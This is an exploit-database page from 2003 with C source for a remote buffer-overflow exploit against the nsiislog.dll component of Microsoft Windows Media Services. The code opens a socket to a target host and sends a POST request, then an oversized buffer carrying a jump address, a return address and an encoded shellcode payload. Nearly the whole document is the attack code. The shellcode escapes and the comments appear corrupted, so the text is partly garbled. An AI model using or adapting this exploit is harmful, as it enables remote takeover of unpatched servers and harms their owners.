[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows Media Services (nsiislog.dll) Remote Exploit
# Published : 2003-07-14
# Author : n/a
# Previous Title : Citadel/UX BBS 6.07 Remote Exploit
# Next Title : Samba 2.2.8 (Bruteforce Method) Remote Root Exploit


#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90"
        "x90x8bxc5x33xc9x66xb9x10x03x50x80x30x97x40xe2xfa"
        "x7ex8ex95x97x97xcdx1cx4dx14x7cx90xfdx68xc4xf3x36"
        "x97x97x97x97xc7xf3x1exb2x97x97x97x97xa4x4cx2cx97"
        "x97x77xe0x7fx4bx96x97x97x16x6cx97x97x68x28x98x14"
        "x59x96x97x97x16x54x97x97x96x97xf1x16xacxdaxcdxe2"
        "x70xa4x57x1cxd4xabx94x54xf1x16xafxc7xd2xe2x4ex14"
        "x57xefx1cxa7x94x64x1cxd9x9bx94x5cx16xaexdcxd2xc5"
        "xd9xe2x52x16xeex93xd2xdbxa4xa5xe2x2bxa4x68x1cxd1"
        "xb7x94x54x1cx5cx94x9fx16xaexd0xf2xe3xc7xe2x9ex16"
        "xeex93xe5xf8xf4xd6xe3x91xd0x14x57x93x7cx72x94x68"
        "x94x6cx1cxc1xb3x94x6dxa4x45xf1x1cx80x1cx6dx1cxd1"
        "x87xdfx94x6fxa4x5ex1cx58x94x5ex94x5ex94xd9x8bx94"
        "x5cx1cxaex94x6cx7exfex96x97x97xc9x10x60x1cx40xa4"
        "x57x60x47x1cx5fx65x38x1exa5x1axd5x9fxc5xc7xc4x68"
        "x85xcdx1exd5x93x1axe5x82xc5xc1x68xc5x93xcdxa4x57"
        "x3bx13x57xe2x6exa4x5ex1dx99x13x5exe3x9exc5xc1xc4"
        "x68x85xcdx3cx75x7fxd1xc5xc1x68xc5x93xcdx1cx4fxa4"
        "x57x3bx13x57xe2x6exa4x5ex1dx99x17x6ex95xe3x9exc5"
        "xc1xc4x68x85xcdx3cx75x70xa4x57xc7xd7xc7xd7xc7x68"
        "xc0x7fx04xfdx87xc1xc4x68xc0x7bxfdx95xc4x68xc0x67"
        "xa4x57xc0xc7x27x9bx3cxcfx3cxd7x3cxc8xdfxc7xc0xc1"
        "x3axc1x68xc0x57xdfxc7xc0x3axc1x3axc1x68xc0x57xdf"
        "x27xd3x1ex90xc0x68xc0x53xa4x57x1cxd1x63x1exd0xab"
        "x1exd0xd7x1cx91x1exd0xafxa4x57xf1x2fx96x96x1exd0"
        "xbbxc0xc0xa4x57xc7xc7xc7xd7xc7xdfxc7xc7x3axc1xa4"
        "x57xc7x68xc0x5fx68xe1x67x68xc0x5bx68xe1x6bx68xc0"
        "x5bxdfxc7xc7xc4x68xc0x63x1cx4fxa4x57x23x93xc7x56"
        "x7fx93xc7x68xc0x43x1cx67xa4x57x1cx5fx22x93xc7xc7"
        "xc0xc6xc1x68xe0x3fx68xc0x47x14xa8x96xebxb5xa4x57"
        "xc7xc0x68xa0xc1x68xe0x3fx68xc0x4bx9cx57xe3xb8xa4"
        "x57xc7x68xa0xc1xc4x68xc0x6fxfdxc7x68xc0x77x7cx5f"

    //????????????????????SHELLCODE??????????   xc0x6bxa4x5exc6xc7??
    //??WRITEFILE??????2??????????????????????????????

    "xa4x57xc7x23x93xc7xc1xc4x68xc0x6bxa4x5exc6xc0xc7"
        "xc1x68xe0x3bx68xc0x4fxfdxc7x68xc0x77x7cx3dxc7x68"
        "xc0x73x7cx69xcfxc7x1exd5x65x54x1cxd3xb3x9bx92x2f"
        "x97x97x97x50x97xefxc1xa3x85xa4x57x54x7cx7bx7fx75"
        "x6ax68x68x7fx05x69x68x68xdcxc1x70xe0xb4x17x70xe0"
        "xdbxf8xf6xf3xdbxfexf5xe5xf6xe5xeexd6x97xdcxd2xc5"
        "xd9xd2xdbxa4xa5x97xd4xe5xf2xf6xe3xf2xc7xfexe7xf2"
        "x97xd0xf2xe3xc4xe3xf6xe5xe3xe2xe7xdexf9xf1xf8xd6"
        "x97xd4xe5xf2xf6xe3xf2xc7xe5xf8xf4xf2xe4xe4xd6x97"
        "xd4xfbxf8xe4xf2xdfxf6xf9xf3xfbxf2x97xc7xf2xf2xfc"
        "xd9xf6xfaxf2xf3xc7xfexe7xf2x97xd0xfbxf8xf5xf6xfb"
        "xd6xfbxfbxf8xf4x97xc0xe5xfexe3xf2xd1xfexfbxf2x97"
        "xc5xf2xf6xf3xd1xfexfbxf2x97xc4xfbxf2xf2xe7x97xd2"
        "xefxfexe3xc7xe5xf8xf4xf2xe4xe4x97x97xc0xc4xd8xd4"
        "xdcxa4xa5x97xe4xf8xf4xfcxf2xe3x97xf5xfexf9xf3x97"
        "xfbxfexe4xe3xf2xf9x97xf6xf4xf4xf2xe7xe3x97xe4xf2"
        "xf9xf3x97xe5xf2xf4xe1x97x95x97x89xfbx97x97x97x97"
        "x97x97x97x97x97x97x97x97xf4xfaxf3xb9xf2xefxf2x97"
        "x68x68x68x68";
        
void main (int argc, char **argv)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    unsigned char buf[1000];
    unsigned char testbuf[0x10000];
    int len;
    char t1[]="POST /scripts/nsiislog.dll HTTP/1.1rnHost: 192.168.10.210rnContent-length: 65536rnrn";//4364

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%dn",WSAGetLastError());
        return;
    }


    hostName = argv[1];

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(80);
    addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
    
    memset(testbuf,0,0x10000);
    
    if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%dn",WSAGetLastError());
        return;
    }
    if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    len=sizeof(t1)-1;
    memcpy(testbuf,t1,len);
    send(s,testbuf,len,0);
    recv(s,buf,1000,0);
    memset(testbuf,'A',65536);//4364
    len=65536;//4364;
    *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp????????????????
    *(DWORD *)(testbuf+0x2708)=0x40F0135c;//????????????????
    memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
    send(s,testbuf,len,0);      
    closesocket (s);
    WSACleanup();
    return;
}

// www.Syue.com [2003-07-14]